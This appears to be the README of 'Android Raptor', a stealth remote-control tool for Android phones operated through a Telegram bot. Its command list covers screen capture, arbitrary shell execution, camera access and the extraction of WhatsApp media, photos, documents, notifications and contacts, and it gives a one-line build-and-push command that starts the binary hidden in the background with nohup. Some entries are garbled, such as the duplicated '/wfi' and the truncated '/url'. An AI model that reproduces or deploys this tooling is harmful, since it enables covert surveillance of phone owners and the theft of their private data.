Android Raptor

Stealth Android Remote Manager


Android Raptor Commands

	/status => ping/pong like
	/ss   	=> Capture And Download Live Screen Capture
	/soff   => Turning Screen Off
	/son    => Turning Screen On
	/sh (any valid shell command [with params]) => Execute Shell Command (ex: ls -la /sdcard/)
	/wsm => Getting All WhatsApp Media Info
	/wsi => Getting WhatsApp Images Info
	/wsis => Getting WhatsApp Images Sent Info
	/wsvs => Getting WhatsApp Videos Sent Info
	/wsv => Getting WhatsApp Videos Info
	/wss => Getting WhatsApp Statuses Info
	/wsvn => Getting WhatsApp Voice Notes Info
	/getp (full path photo) => Download Any Photo From Remote Device
	/getv (full path video) => Download Any Video From Remote Device
	/getd (full path document) => Download Any Document From Remote Device
	/url ( => Open An URL In Remote Device Default Browser
	/cam => Start Camera In Remote Device
	/not => Getting All Notifications From Remote Device
	/ua => Getting All Applications Installed By The User
	/gc => Getting All Google Contacts From Remote Device 
	/wfi => Getting Wifi IP From Remote Device 
	/wfm => Getting Wifi IP From Remote Device 
	/wfi => Getting Wifi MAC Address From Remote Device 
	/wfs => Getting Wifi SSID Name From Remote Device
	/ca => Getting Current Active Activity
	/cp => Getting Current Active Package Name
	/capp (package name) => Close App
	/isson => Know If The Screen Is On
	/sup => Send Swipe Up Gesture
	/getbl => Getting Current Battery Percentage Level
	/shutdown => Shutdown The Remote Device
	/reboot => Reboot The Remote Device    


In your Android Device:
  • Go to Settings
  • Go to “About device” (Might be named slightly different)
  • Click the “Build number” field 7 times. This will turn on “Developer options”
  • Go back to Settings
  • Go to “Developer options”
  • Scroll down and enable “USB debugging”
  • Plug the device into computer
On a computer run the following commands in terminal to initialize ADB:

Your device might prompt you with a trust dialog. Click accept.

On Telegram:

Build and Execute in Your Android Mobile Device

GOARCH=arm64 GOOS=linux go build -ldflags “-s -w” -o androidraptor main.go && adb push androidraptor /data/local/tmp/androidraptor && adb shell ‘chmod 777 /data/local/tmp/androidraptor’ && adb shell “nohup ./data/local/tmp/androidraptor -uid TELEGRAM_USER_ID -abk API_BOT_ACCESS_TOKEN &>/dev/null &”

  • Now you can unplugg your mobile device and control it from anywhere through the bot in Telegram.


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